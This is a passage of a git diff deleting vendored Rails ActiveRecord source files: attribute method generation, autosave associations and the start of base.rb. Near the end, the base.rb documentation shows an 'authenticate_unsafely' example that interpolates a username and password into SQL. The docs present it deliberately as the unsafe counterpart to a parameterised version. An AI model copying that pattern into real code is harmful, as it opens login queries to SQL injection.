@@ -1,388 +0,0 @@
-module ActiveRecord
-  module AttributeMethods #:nodoc:
-    DEFAULT_SUFFIXES = %w(= ? _before_type_cast)
-    ATTRIBUTE_TYPES_CACHED_BY_DEFAULT = [:datetime, :timestamp, :time, :date]
-
-    def self.included(base)
-      base.extend ClassMethods
-      base.attribute_method_suffix(*DEFAULT_SUFFIXES)
-      base.cattr_accessor :attribute_types_cached_by_default, :instance_writer => false
-      base.attribute_types_cached_by_default = ATTRIBUTE_TYPES_CACHED_BY_DEFAULT
-      base.cattr_accessor :time_zone_aware_attributes, :instance_writer => false
-      base.time_zone_aware_attributes = false
-      base.class_inheritable_accessor :skip_time_zone_conversion_for_attributes, :instance_writer => false
-      base.skip_time_zone_conversion_for_attributes = []
-    end
-
-    # Declare and check for suffixed attribute methods.
-    module ClassMethods
-      # Declares a method available for all attributes with the given suffix.
-      # Uses +method_missing+ and <tt>respond_to?</tt> to rewrite the method
-      #
-      #   #{attr}#{suffix}(*args, &block)
-      #
-      # to
-      #
-      #   attribute#{suffix}(#{attr}, *args, &block)
-      #
-      # An <tt>attribute#{suffix}</tt> instance method must exist and accept at least
-      # the +attr+ argument.
-      #
-      # For example:
-      #
-      #   class Person < ActiveRecord::Base
-      #     attribute_method_suffix '_changed?'
-      #
-      #     private
-      #       def attribute_changed?(attr)
-      #         ...
-      #       end
-      #   end
-      #
-      #   person = Person.find(1)
-      #   person.name_changed?    # => false
-      #   person.name = 'Hubert'
-      #   person.name_changed?    # => true
-      def attribute_method_suffix(*suffixes)
-        attribute_method_suffixes.concat suffixes
-        rebuild_attribute_method_regexp
-      end
-
-      # Returns MatchData if method_name is an attribute method.
-      def match_attribute_method?(method_name)
-        rebuild_attribute_method_regexp unless defined?(@@attribute_method_regexp) && @@attribute_method_regexp
-        @@attribute_method_regexp.match(method_name)
-      end
-
-
-      # Contains the names of the generated attribute methods.
-      def generated_methods #:nodoc:
-        @generated_methods ||= Set.new
-      end
-      
-      def generated_methods?
-        !generated_methods.empty?
-      end
-      
-      # Generates all the attribute related methods for columns in the database
-      # accessors, mutators and query methods.
-      def define_attribute_methods
-        return if generated_methods?
-        columns_hash.each do |name, column|
-          unless instance_method_already_implemented?(name)
-            if self.serialized_attributes[name]
-              define_read_method_for_serialized_attribute(name)
-            elsif create_time_zone_conversion_attribute?(name, column)
-              define_read_method_for_time_zone_conversion(name)
-            else
-              define_read_method(name.to_sym, name, column)
-            end
-          end
-
-          unless instance_method_already_implemented?("#{name}=")
-            if create_time_zone_conversion_attribute?(name, column)
-              define_write_method_for_time_zone_conversion(name)
-            else  
-              define_write_method(name.to_sym)
-            end
-          end
-
-          unless instance_method_already_implemented?("#{name}?")
-            define_question_method(name)
-          end
-        end
-      end
-
-      # Checks whether the method is defined in the model or any of its subclasses
-      # that also derive from Active Record. Raises DangerousAttributeError if the
-      # method is defined by Active Record though.
-      def instance_method_already_implemented?(method_name)
-        method_name = method_name.to_s
-        return true if method_name =~ /^id(=$|\?$|$)/
-        @_defined_class_methods         ||= ancestors.first(ancestors.index(ActiveRecord::Base)).sum([]) { |m| m.public_instance_methods(false) | m.private_instance_methods(false) | m.protected_instance_methods(false) }.map(&:to_s).to_set
-        @@_defined_activerecord_methods ||= (ActiveRecord::Base.public_instance_methods(false) | ActiveRecord::Base.private_instance_methods(false) | ActiveRecord::Base.protected_instance_methods(false)).map(&:to_s).to_set
-        raise DangerousAttributeError, "#{method_name} is defined by ActiveRecord" if @@_defined_activerecord_methods.include?(method_name)
-        @_defined_class_methods.include?(method_name)
-      end
-      
-      alias :define_read_methods :define_attribute_methods
-
-      # +cache_attributes+ allows you to declare which converted attribute values should
-      # be cached. Usually caching only pays off for attributes with expensive conversion
-      # methods, like time related columns (e.g. +created_at+, +updated_at+).
-      def cache_attributes(*attribute_names)
-        attribute_names.each {|attr| cached_attributes << attr.to_s}
-      end
-
-      # Returns the attributes which are cached. By default time related columns
-      # with datatype <tt>:datetime, :timestamp, :time, :date</tt> are cached.
-      def cached_attributes
-        @cached_attributes ||=
-          columns.select{|c| attribute_types_cached_by_default.include?(c.type)}.map(&:name).to_set
-      end
-
-      # Returns +true+ if the provided attribute is being cached.
-      def cache_attribute?(attr_name)
-        cached_attributes.include?(attr_name)
-      end
-
-      private
-        # Suffixes a, ?, c become regexp /(a|\?|c)$/
-        def rebuild_attribute_method_regexp
-          suffixes = attribute_method_suffixes.map { |s| Regexp.escape(s) }
-          @@attribute_method_regexp = /(#{suffixes.join('|')})$/.freeze
-        end
-
-        # Default to =, ?, _before_type_cast
-        def attribute_method_suffixes
-          @@attribute_method_suffixes ||= []
-        end
-        
-        def create_time_zone_conversion_attribute?(name, column)
-          time_zone_aware_attributes && !skip_time_zone_conversion_for_attributes.include?(name.to_sym) && [:datetime, :timestamp].include?(column.type)
-        end
-        
-        # Define an attribute reader method.  Cope with nil column.
-        def define_read_method(symbol, attr_name, column)
-          cast_code = column.type_cast_code('v') if column
-          access_code = cast_code ? "(v=@attributes['#{attr_name}']) && #{cast_code}" : "@attributes['#{attr_name}']"
-
-          unless attr_name.to_s == self.primary_key.to_s
-            access_code = access_code.insert(0, "missing_attribute('#{attr_name}', caller) unless @attributes.has_key?('#{attr_name}'); ")
-          end
-          
-          if cache_attribute?(attr_name)
-            access_code = "@attributes_cache['#{attr_name}'] ||= (#{access_code})"
-          end
-          evaluate_attribute_method attr_name, "def #{symbol}; #{access_code}; end"
-        end
-
-        # Define read method for serialized attribute.
-        def define_read_method_for_serialized_attribute(attr_name)
-          evaluate_attribute_method attr_name, "def #{attr_name}; unserialize_attribute('#{attr_name}'); end"
-        end
-        
-        # Defined for all +datetime+ and +timestamp+ attributes when +time_zone_aware_attributes+ are enabled.
-        # This enhanced read method automatically converts the UTC time stored in the database to the time zone stored in Time.zone.
-        def define_read_method_for_time_zone_conversion(attr_name)
-          method_body = <<-EOV
-            def #{attr_name}(reload = false)
-              cached = @attributes_cache['#{attr_name}']
-              return cached if cached && !reload
-              time = read_attribute('#{attr_name}')
-              @attributes_cache['#{attr_name}'] = time.acts_like?(:time) ? time.in_time_zone : time
-            end
-          EOV
-          evaluate_attribute_method attr_name, method_body
-        end
-
-        # Defines a predicate method <tt>attr_name?</tt>.
-        def define_question_method(attr_name)
-          evaluate_attribute_method attr_name, "def #{attr_name}?; query_attribute('#{attr_name}'); end", "#{attr_name}?"
-        end
-
-        def define_write_method(attr_name)
-          evaluate_attribute_method attr_name, "def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end", "#{attr_name}="
-        end
-        
-        # Defined for all +datetime+ and +timestamp+ attributes when +time_zone_aware_attributes+ are enabled.
-        # This enhanced write method will automatically convert the time passed to it to the zone stored in Time.zone.
-        def define_write_method_for_time_zone_conversion(attr_name)
-          method_body = <<-EOV
-            def #{attr_name}=(time)
-              unless time.acts_like?(:time)
-                time = time.is_a?(String) ? Time.zone.parse(time) : time.to_time rescue time
-              end
-              time = time.in_time_zone rescue nil if time
-              write_attribute(:#{attr_name}, time)
-            end
-          EOV
-          evaluate_attribute_method attr_name, method_body, "#{attr_name}="
-        end
-
-        # Evaluate the definition for an attribute related method
-        def evaluate_attribute_method(attr_name, method_definition, method_name=attr_name)
-
-          unless method_name.to_s == primary_key.to_s
-            generated_methods << method_name
-          end
-
-          begin
-            class_eval(method_definition, __FILE__)
-          rescue SyntaxError => err
-            generated_methods.delete(attr_name)
-            if logger
-              logger.warn "Exception occurred during reader method compilation."
-              logger.warn "Maybe #{attr_name} is not a valid Ruby identifier?"
-              logger.warn err.message
-            end
-          end
-        end
-    end #  ClassMethods
-
-
-    # Allows access to the object attributes, which are held in the <tt>@attributes</tt> hash, as though they
-    # were first-class methods. So a Person class with a name attribute can use Person#name and
-    # Person#name= and never directly use the attributes hash -- except for multiple assigns with
-    # ActiveRecord#attributes=. A Milestone class can also ask Milestone#completed? to test that
-    # the completed attribute is not +nil+ or 0.
-    #
-    # It's also possible to instantiate related objects, so a Client class belonging to the clients
-    # table with a +master_id+ foreign key can instantiate master through Client#master.
-    def method_missing(method_id, *args, &block)
-      method_name = method_id.to_s
-
-      if self.class.private_method_defined?(method_name)
-        raise NoMethodError.new("Attempt to call private method", method_name, args)
-      end
-
-      # If we haven't generated any methods yet, generate them, then
-      # see if we've created the method we're looking for.
-      if !self.class.generated_methods?
-        self.class.define_attribute_methods
-        if self.class.generated_methods.include?(method_name)
-          return self.send(method_id, *args, &block)
-        end
-      end
-      
-      if self.class.primary_key.to_s == method_name
-        id
-      elsif md = self.class.match_attribute_method?(method_name)
-        attribute_name, method_type = md.pre_match, md.to_s
-        if @attributes.include?(attribute_name)
-          __send__("attribute#{method_type}", attribute_name, *args, &block)
-        else
-          super
-        end
-      elsif @attributes.include?(method_name)
-        read_attribute(method_name)
-      else
-        super
-      end
-    end
-
-    # Returns the value of the attribute identified by <tt>attr_name</tt> after it has been typecast (for example,
-    # "2004-12-12" in a data column is cast to a date object, like Date.new(2004, 12, 12)).
-    def read_attribute(attr_name)
-      attr_name = attr_name.to_s
-      if !(value = @attributes[attr_name]).nil?
-        if column = column_for_attribute(attr_name)
-          if unserializable_attribute?(attr_name, column)
-            unserialize_attribute(attr_name)
-          else
-            column.type_cast(value)
-          end
-        else
-          value
-        end
-      else
-        nil
-      end
-    end
-
-    def read_attribute_before_type_cast(attr_name)
-      @attributes[attr_name]
-    end
-
-    # Returns true if the attribute is of a text column and marked for serialization.
-    def unserializable_attribute?(attr_name, column)
-      column.text? && self.class.serialized_attributes[attr_name]
-    end
-
-    # Returns the unserialized object of the attribute.
-    def unserialize_attribute(attr_name)
-      unserialized_object = object_from_yaml(@attributes[attr_name])
-
-      if unserialized_object.is_a?(self.class.serialized_attributes[attr_name]) || unserialized_object.nil?
-        @attributes.frozen? ? unserialized_object : @attributes[attr_name] = unserialized_object
-      else
-        raise SerializationTypeMismatch,
-          "#{attr_name} was supposed to be a #{self.class.serialized_attributes[attr_name]}, but was a #{unserialized_object.class.to_s}"
-      end
-    end
-  
-
-    # Updates the attribute identified by <tt>attr_name</tt> with the specified +value+. Empty strings for fixnum and float
-    # columns are turned into +nil+.
-    def write_attribute(attr_name, value)
-      attr_name = attr_name.to_s
-      @attributes_cache.delete(attr_name)
-      if (column = column_for_attribute(attr_name)) && column.number?
-        @attributes[attr_name] = convert_number_column_value(value)
-      else
-        @attributes[attr_name] = value
-      end
-    end
-
-
-    def query_attribute(attr_name)
-      unless value = read_attribute(attr_name)
-        false
-      else
-        column = self.class.columns_hash[attr_name]
-        if column.nil?
-          if Numeric === value || value !~ /[^0-9]/
-            !value.to_i.zero?
-          else
-            return false if ActiveRecord::ConnectionAdapters::Column::FALSE_VALUES.include?(value)
-            !value.blank?
-          end
-        elsif column.number?
-          !value.zero?
-        else
-          !value.blank?
-        end
-      end
-    end
-    
-    # A Person object with a name attribute can ask <tt>person.respond_to?(:name)</tt>,
-    # <tt>person.respond_to?(:name=)</tt>, and <tt>person.respond_to?(:name?)</tt>
-    # which will all return +true+.
-    alias :respond_to_without_attributes? :respond_to?
-    def respond_to?(method, include_private_methods = false)
-      method_name = method.to_s
-      if super
-        return true
-      elsif !include_private_methods && super(method, true)
-        # If we're here than we haven't found among non-private methods
-        # but found among all methods. Which means that given method is private.
-        return false
-      elsif !self.class.generated_methods?
-        self.class.define_attribute_methods
-        if self.class.generated_methods.include?(method_name)
-          return true
-        end
-      end
-        
-      if @attributes.nil?
-        return super
-      elsif @attributes.include?(method_name)
-        return true
-      elsif md = self.class.match_attribute_method?(method_name)
-        return true if @attributes.include?(md.pre_match)
-      end
-      super
-    end
-
-    private
-    
-      def missing_attribute(attr_name, stack)
-        raise ActiveRecord::MissingAttributeError, "missing attribute: #{attr_name}", stack
-      end
-      
-      # Handle *? for method_missing.
-      def attribute?(attribute_name)
-        query_attribute(attribute_name)
-      end
-
-      # Handle *= for method_missing.
-      def attribute=(attribute_name, value)
-        write_attribute(attribute_name, value)
-      end
-
-      # Handle *_before_type_cast for method_missing.
-      def attribute_before_type_cast(attribute_name)
-        read_attribute_before_type_cast(attribute_name)
-      end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/autosave_association.rb b/vendor/rails/activerecord/lib/active_record/autosave_association.rb
deleted file mode 100644
index 045e16b0..00000000
--- a/vendor/rails/activerecord/lib/active_record/autosave_association.rb
+++ /dev/null
@@ -1,395 +0,0 @@
-module ActiveRecord
-  # AutosaveAssociation is a module that takes care of automatically saving
-  # your associations when the parent is saved. In addition to saving, it
-  # also destroys any associations that were marked for destruction.
-  # (See mark_for_destruction and marked_for_destruction?)
-  #
-  # Saving of the parent, its associations, and the destruction of marked
-  # associations, all happen inside 1 transaction. This should never leave the
-  # database in an inconsistent state after, for instance, mass assigning
-  # attributes and saving them.
-  #
-  # If validations for any of the associations fail, their error messages will
-  # be applied to the parent.
-  #
-  # Note that it also means that associations marked for destruction won't
-  # be destroyed directly. They will however still be marked for destruction.
-  #
-  # === One-to-one Example
-  #
-  # Consider a Post model with one Author:
-  #
-  #   class Post
-  #     has_one :author, :autosave => true
-  #   end
-  #
-  # Saving changes to the parent and its associated model can now be performed
-  # automatically _and_ atomically:
-  #
-  #   post = Post.find(1)
-  #   post.title # => "The current global position of migrating ducks"
-  #   post.author.name # => "alloy"
-  #
-  #   post.title = "On the migration of ducks"
-  #   post.author.name = "Eloy Duran"
-  #
-  #   post.save
-  #   post.reload
-  #   post.title # => "On the migration of ducks"
-  #   post.author.name # => "Eloy Duran"
-  #
-  # Destroying an associated model, as part of the parent's save action, is as
-  # simple as marking it for destruction:
-  #
-  #   post.author.mark_for_destruction
-  #   post.author.marked_for_destruction? # => true
-  #
-  # Note that the model is _not_ yet removed from the database:
-  #   id = post.author.id
-  #   Author.find_by_id(id).nil? # => false
-  #
-  #   post.save
-  #   post.reload.author # => nil
-  #
-  # Now it _is_ removed from the database:
-  #   Author.find_by_id(id).nil? # => true
-  #
-  # === One-to-many Example
-  #
-  # Consider a Post model with many Comments:
-  #
-  #   class Post
-  #     has_many :comments, :autosave => true
-  #   end
-  #
-  # Saving changes to the parent and its associated model can now be performed
-  # automatically _and_ atomically:
-  #
-  #   post = Post.find(1)
-  #   post.title # => "The current global position of migrating ducks"
-  #   post.comments.first.body # => "Wow, awesome info thanks!"
-  #   post.comments.last.body # => "Actually, your article should be named differently."
-  #
-  #   post.title = "On the migration of ducks"
-  #   post.comments.last.body = "Actually, your article should be named differently. [UPDATED]: You are right, thanks."
-  #
-  #   post.save
-  #   post.reload
-  #   post.title # => "On the migration of ducks"
-  #   post.comments.last.body # => "Actually, your article should be named differently. [UPDATED]: You are right, thanks."
-  #
-  # Destroying one of the associated models members, as part of the parent's
-  # save action, is as simple as marking it for destruction:
-  #
-  #   post.comments.last.mark_for_destruction
-  #   post.comments.last.marked_for_destruction? # => true
-  #   post.comments.length # => 2
-  #
-  # Note that the model is _not_ yet removed from the database:
-  #   id = post.comments.last.id
-  #   Comment.find_by_id(id).nil? # => false
-  #
-  #   post.save
-  #   post.reload.comments.length # => 1
-  #
-  # Now it _is_ removed from the database:
-  #   Comment.find_by_id(id).nil? # => true
-  #
-  # === Validation
-  #
-  # Validation is performed on the parent as usual, but also on all autosave
-  # enabled associations. If any of the associations fail validation, its
-  # error messages will be applied on the parents errors object and validation
-  # of the parent will fail.
-  #
-  # Consider a Post model with Author which validates the presence of its name
-  # attribute:
-  #
-  #   class Post
-  #     has_one :author, :autosave => true
-  #   end
-  #
-  #   class Author
-  #     validates_presence_of :name
-  #   end
-  #
-  #   post = Post.find(1)
-  #   post.author.name = ''
-  #   post.save # => false
-  #   post.errors # => #<ActiveRecord::Errors:0x174498c @errors={"author_name"=>["can't be blank"]}, @base=#<Post ...>>
-  #
-  # No validations will be performed on the associated models when validations
-  # are skipped for the parent:
-  #
-  #   post = Post.find(1)
-  #   post.author.name = ''
-  #   post.save(false) # => true
-  module AutosaveAssociation
-    ASSOCIATION_TYPES = %w{ has_one belongs_to has_many has_and_belongs_to_many }
-
-    def self.included(base)
-      base.class_eval do
-        base.extend(ClassMethods)
-        alias_method_chain :reload, :autosave_associations
-
-        ASSOCIATION_TYPES.each do |type|
-          base.send("valid_keys_for_#{type}_association") << :autosave
-        end
-      end
-    end
-
-    module ClassMethods
-      private
-
-      # def belongs_to(name, options = {})
-      #   super
-      #   add_autosave_association_callbacks(reflect_on_association(name))
-      # end
-      ASSOCIATION_TYPES.each do |type|
-        module_eval <<-CODE, __FILE__, __LINE__ + 1
-          def #{type}(name, options = {})
-            super
-            add_autosave_association_callbacks(reflect_on_association(name))
-          end
-        CODE
-      end
-
-      # Adds a validate and save callback for the association as specified by
-      # the +reflection+.
-      #
-      # For performance reasons, we don't check whether to validate at runtime,
-      # but instead only define the method and callback when needed. However,
-      # this can change, for instance, when using nested attributes, which is
-      # called _after_ the association has been defined. Since we don't want
-      # the callbacks to get defined multiple times, there are guards that
-      # check if the save or validation methods have already been defined
-      # before actually defining them.
-      def add_autosave_association_callbacks(reflection)
-        save_method = :"autosave_associated_records_for_#{reflection.name}"
-        validation_method = :"validate_associated_records_for_#{reflection.name}"
-        collection = reflection.collection?
-
-        unless method_defined?(save_method)
-          if collection
-            before_save :before_save_collection_association
-
-            define_method(save_method) { save_collection_association(reflection) }
-            # Doesn't use after_save as that would save associations added in after_create/after_update twice
-            after_create save_method
-            after_update save_method
-          else
-            if reflection.macro == :has_one
-              define_method(save_method) { save_has_one_association(reflection) }
-              after_save save_method
-            else
-              define_method(save_method) { save_belongs_to_association(reflection) }
-              before_save save_method
-            end
-          end
-        end
-
-        if reflection.validate? && !method_defined?(validation_method)
-          method = (collection ? :validate_collection_association : :validate_single_association)
-          define_method(validation_method) { send(method, reflection) }
-          validate validation_method
-        end
-      end
-    end
-
-    # Reloads the attributes of the object as usual and removes a mark for destruction.
-    def reload_with_autosave_associations(options = nil)
-      @marked_for_destruction = false
-      reload_without_autosave_associations(options)
-    end
-
-    # Marks this record to be destroyed as part of the parents save transaction.
-    # This does _not_ actually destroy the record yet, rather it will be destroyed when <tt>parent.save</tt> is called.
-    #
-    # Only useful if the <tt>:autosave</tt> option on the parent is enabled for this associated model.
-    def mark_for_destruction
-      @marked_for_destruction = true
-    end
-
-    # Returns whether or not this record will be destroyed as part of the parents save transaction.
-    #
-    # Only useful if the <tt>:autosave</tt> option on the parent is enabled for this associated model.
-    def marked_for_destruction?
-      @marked_for_destruction
-    end
-
-    # Returns whether or not this record has been changed in any way (including whether
-    # any of its nested autosave associations are likewise changed)
-    def changed_for_autosave?
-      new_record? || changed? || marked_for_destruction? || nested_records_changed_for_autosave?
-    end
-    
-    private
-
-    # Returns the record for an association collection that should be validated
-    # or saved. If +autosave+ is +false+ only new records will be returned,
-    # unless the parent is/was a new record itself.
-    def associated_records_to_validate_or_save(association, new_record, autosave)
-      if new_record
-        association
-      elsif autosave
-        association.target.select { |record| record.changed_for_autosave? }
-      else
-        association.target.select { |record| record.new_record? }
-      end
-    end
-    
-    # go through nested autosave associations that are loaded in memory (without loading
-    # any new ones), and return true if is changed for autosave
-    def nested_records_changed_for_autosave?
-      self.class.reflect_on_all_autosave_associations.each do |reflection|
-        if association = association_instance_get(reflection.name)
-          if [:belongs_to, :has_one].include?(reflection.macro)
-            return true if association.target && association.target.changed_for_autosave?
-          else
-            association.target.each {|record| return true if record.changed_for_autosave? }
-          end
-        end
-      end
-      false
-    end
-    
-    # Validate the association if <tt>:validate</tt> or <tt>:autosave</tt> is
-    # turned on for the association specified by +reflection+.
-    def validate_single_association(reflection)
-      if (association = association_instance_get(reflection.name)) && !association.target.nil?
-        association_valid?(reflection, association)
-      end
-    end
-
-    # Validate the associated records if <tt>:validate</tt> or
-    # <tt>:autosave</tt> is turned on for the association specified by
-    # +reflection+.
-    def validate_collection_association(reflection)
-      if association = association_instance_get(reflection.name)
-        if records = associated_records_to_validate_or_save(association, new_record?, reflection.options[:autosave])
-          records.each { |record| association_valid?(reflection, record) }
-        end
-      end
-    end
-
-    # Returns whether or not the association is valid and applies any errors to
-    # the parent, <tt>self</tt>, if it wasn't. Skips any <tt>:autosave</tt>
-    # enabled records if they're marked_for_destruction? or destroyed.
-    def association_valid?(reflection, association)
-      return true if association.destroyed? || association.marked_for_destruction?
-
-      unless valid = association.valid?
-        if reflection.options[:autosave]
-          association.errors.each_error do |attribute, error|
-            attribute = "#{reflection.name}.#{attribute}"
-            errors.add(attribute, error.dup) unless errors.on(attribute)
-          end
-        else
-          errors.add(reflection.name)
-        end
-      end
-      valid
-    end
-
-    # Is used as a before_save callback to check while saving a collection
-    # association whether or not the parent was a new record before saving.
-    def before_save_collection_association
-      @new_record_before_save = new_record?
-      true
-    end
-
-    # Saves any new associated records, or all loaded autosave associations if
-    # <tt>:autosave</tt> is enabled on the association.
-    #
-    # In addition, it destroys all children that were marked for destruction
-    # with mark_for_destruction.
-    #
-    # This all happens inside a transaction, _if_ the Transactions module is included into
-    # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
-    def save_collection_association(reflection)
-      if association = association_instance_get(reflection.name)
-        autosave = reflection.options[:autosave]
-
-        if records = associated_records_to_validate_or_save(association, @new_record_before_save, autosave)
-          records.each do |record|
-            next if record.destroyed?
-
-            if autosave && record.marked_for_destruction?
-              association.destroy(record)
-            elsif autosave != false && (@new_record_before_save || record.new_record?)
-              if autosave
-                saved = association.send(:insert_record, record, false, false)
-              else
-                association.send(:insert_record, record)
-              end
-            elsif autosave
-              saved = record.save(false)
-            end
-
-            raise ActiveRecord::Rollback if saved == false
-          end
-        end
-
-        # reconstruct the SQL queries now that we know the owner's id
-        association.send(:construct_sql) if association.respond_to?(:construct_sql)
-      end
-    end
-
-    # Saves the associated record if it's new or <tt>:autosave</tt> is enabled
-    # on the association.
-    #
-    # In addition, it will destroy the association if it was marked for
-    # destruction with mark_for_destruction.
-    #
-    # This all happens inside a transaction, _if_ the Transactions module is included into
-    # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
-    def save_has_one_association(reflection)
-      if (association = association_instance_get(reflection.name)) && !association.target.nil? && !association.destroyed?
-        autosave = reflection.options[:autosave]
-
-        if autosave && association.marked_for_destruction?
-          association.destroy
-        else
-          key = reflection.options[:primary_key] ? send(reflection.options[:primary_key]) : id
-          if autosave != false && (new_record? || association.new_record? || association[reflection.primary_key_name] != key || autosave)
-            association[reflection.primary_key_name] = key
-            saved = association.save(!autosave)
-            raise ActiveRecord::Rollback if !saved && autosave
-            saved
-          end
-        end
-      end
-    end
-
-    # Saves the associated record if it's new or <tt>:autosave</tt> is enabled
-    # on the association.
-    #
-    # In addition, it will destroy the association if it was marked for
-    # destruction with mark_for_destruction.
-    #
-    # This all happens inside a transaction, _if_ the Transactions module is included into
-    # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
-    def save_belongs_to_association(reflection)
-      if (association = association_instance_get(reflection.name)) && !association.destroyed?
-        autosave = reflection.options[:autosave]
-
-        if autosave && association.marked_for_destruction?
-          association.destroy
-        elsif autosave != false
-          saved = association.save(!autosave) if association.new_record? || autosave
-
-          if association.updated?
-            association_id = association.send(reflection.options[:primary_key] || :id)
-            self[reflection.primary_key_name] = association_id
-            # TODO: Removing this code doesn't seem to matter…
-            if reflection.options[:polymorphic]
-              self[reflection.options[:foreign_type]] = association.class.base_class.name.to_s
-            end
-          end
-
-          saved if autosave
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/base.rb b/vendor/rails/activerecord/lib/active_record/base.rb
deleted file mode 100755
index 461007fd..00000000
--- a/vendor/rails/activerecord/lib/active_record/base.rb
+++ /dev/null
@@ -1,3218 +0,0 @@
-require 'yaml'
-require 'set'
-require 'active_support/core_ext/class/attribute'
-
-module ActiveRecord #:nodoc:
-  # Generic Active Record exception class.
-  class ActiveRecordError < StandardError
-  end
-
-  # Raised when the single-table inheritance mechanism fails to locate the subclass
-  # (for example due to improper usage of column that +inheritance_column+ points to).
-  class SubclassNotFound < ActiveRecordError #:nodoc:
-  end
-
-  # Raised when an object assigned to an association has an incorrect type.
-  #
-  #   class Ticket < ActiveRecord::Base
-  #     has_many :patches
-  #   end
-  #
-  #   class Patch < ActiveRecord::Base
-  #     belongs_to :ticket
-  #   end
-  #
-  #   # Comments are not patches, this assignment raises AssociationTypeMismatch.
-  #   @ticket.patches << Comment.new(:content => "Please attach tests to your patch.")
-  class AssociationTypeMismatch < ActiveRecordError
-  end
-
-  # Raised when unserialized object's type mismatches one specified for serializable field.
-  class SerializationTypeMismatch < ActiveRecordError
-  end
-
-  # Raised when adapter not specified on connection (or configuration file <tt>config/database.yml</tt> misses adapter field).
-  class AdapterNotSpecified < ActiveRecordError
-  end
-
-  # Raised when Active Record cannot find database adapter specified in <tt>config/database.yml</tt> or programmatically.
-  class AdapterNotFound < ActiveRecordError
-  end
-
-  # Raised when connection to the database could not been established (for example when <tt>connection=</tt> is given a nil object).
-  class ConnectionNotEstablished < ActiveRecordError
-  end
-
-  # Raised when Active Record cannot find record by given id or set of ids.
-  class RecordNotFound < ActiveRecordError
-  end
-
-  # Raised by ActiveRecord::Base.save! and ActiveRecord::Base.create! methods when record cannot be
-  # saved because record is invalid.
-  class RecordNotSaved < ActiveRecordError
-  end
-
-  # Raised when SQL statement cannot be executed by the database (for example, it's often the case for MySQL when Ruby driver used is too old).
-  class StatementInvalid < ActiveRecordError
-  end
-
-  # Raised when number of bind variables in statement given to <tt>:condition</tt> key (for example, when using +find+ method)
-  # does not match number of expected variables.
-  #
-  # For example, in
-  #
-  #   Location.find :all, :conditions => ["lat = ? AND lng = ?", 53.7362]
-  #
-  # two placeholders are given but only one variable to fill them.
-  class PreparedStatementInvalid < ActiveRecordError
-  end
-
-  # Raised on attempt to save stale record. Record is stale when it's being saved in another query after
-  # instantiation, for example, when two users edit the same wiki page and one starts editing and saves
-  # the page before the other.
-  #
-  # Read more about optimistic locking in ActiveRecord::Locking module RDoc.
-  class StaleObjectError < ActiveRecordError
-  end
-
-  # Raised when association is being configured improperly or
-  # user tries to use offset and limit together with has_many or has_and_belongs_to_many associations.
-  class ConfigurationError < ActiveRecordError
-  end
-
-  # Raised on attempt to update record that is instantiated as read only.
-  class ReadOnlyRecord < ActiveRecordError
-  end
-
-  # ActiveRecord::Transactions::ClassMethods.transaction uses this exception
-  # to distinguish a deliberate rollback from other exceptional situations.
-  # Normally, raising an exception will cause the +transaction+ method to rollback
-  # the database transaction *and* pass on the exception. But if you raise an
-  # ActiveRecord::Rollback exception, then the database transaction will be rolled back,
-  # without passing on the exception.
-  #
-  # For example, you could do this in your controller to rollback a transaction:
-  #
-  #   class BooksController < ActionController::Base
-  #     def create
-  #       Book.transaction do
-  #         book = Book.new(params[:book])
-  #         book.save!
-  #         if today_is_friday?
-  #           # The system must fail on Friday so that our support department
-  #           # won't be out of job. We silently rollback this transaction
-  #           # without telling the user.
-  #           raise ActiveRecord::Rollback, "Call tech support!"
-  #         end
-  #       end
-  #       # ActiveRecord::Rollback is the only exception that won't be passed on
-  #       # by ActiveRecord::Base.transaction, so this line will still be reached
-  #       # even on Friday.
-  #       redirect_to root_url
-  #     end
-  #   end
-  class Rollback < ActiveRecordError
-  end
-
-  # Raised when attribute has a name reserved by Active Record (when attribute has name of one of Active Record instance methods).
-  class DangerousAttributeError < ActiveRecordError
-  end
-
-  # Raised when you've tried to access a column which wasn't loaded by your finder.
-  # Typically this is because <tt>:select</tt> has been specified.
-  class MissingAttributeError < NoMethodError
-  end
-
-  # Raised when unknown attributes are supplied via mass assignment.
-  class UnknownAttributeError < NoMethodError
-  end
-
-  # Raised when an error occurred while doing a mass assignment to an attribute through the
-  # <tt>attributes=</tt> method. The exception has an +attribute+ property that is the name of the
-  # offending attribute.
-  class AttributeAssignmentError < ActiveRecordError
-    attr_reader :exception, :attribute
-    def initialize(message, exception, attribute)
-      @exception = exception
-      @attribute = attribute
-      @message = message
-    end
-  end
-
-  # Raised when there are multiple errors while doing a mass assignment through the +attributes+
-  # method. The exception has an +errors+ property that contains an array of AttributeAssignmentError
-  # objects, each corresponding to the error while assigning to an attribute.
-  class MultiparameterAssignmentErrors < ActiveRecordError
-    attr_reader :errors
-    def initialize(errors)
-      @errors = errors
-    end
-  end
-
-  # Active Record objects don't specify their attributes directly, but rather infer them from the table definition with
-  # which they're linked. Adding, removing, and changing attributes and their type is done directly in the database. Any change
-  # is instantly reflected in the Active Record objects. The mapping that binds a given Active Record class to a certain
-  # database table will happen automatically in most common cases, but can be overwritten for the uncommon ones.
-  #
-  # See the mapping rules in table_name and the full example in link:files/README.html for more insight.
-  #
-  # == Creation
-  #
-  # Active Records accept constructor parameters either in a hash or as a block. The hash method is especially useful when
-  # you're receiving the data from somewhere else, like an HTTP request. It works like this:
-  #
-  #   user = User.new(:name => "David", :occupation => "Code Artist")
-  #   user.name # => "David"
-  #
-  # You can also use block initialization:
-  #
-  #   user = User.new do |u|
-  #     u.name = "David"
-  #     u.occupation = "Code Artist"
-  #   end
-  #
-  # And of course you can just create a bare object and specify the attributes after the fact:
-  #
-  #   user = User.new
-  #   user.name = "David"
-  #   user.occupation = "Code Artist"
-  #
-  # == Conditions
-  #
-  # Conditions can either be specified as a string, array, or hash representing the WHERE-part of an SQL statement.
-  # The array form is to be used when the condition input is tainted and requires sanitization. The string form can
-  # be used for statements that don't involve tainted data. The hash form works much like the array form, except
-  # only equality and range is possible. Examples:
-  #
-  #   class User < ActiveRecord::Base
-  #     def self.authenticate_unsafely(user_name, password)
-  #       find(:first, :conditions => "user_name = '#{user_name}' AND password = '#{password}'")
-  #     end
-  #
-  #     def self.authenticate_safely(user_name, password)
-  #       find(:first, :conditions => [ "user_name = ? AND password = ?", user_name, password ])
-  #     end
-  #
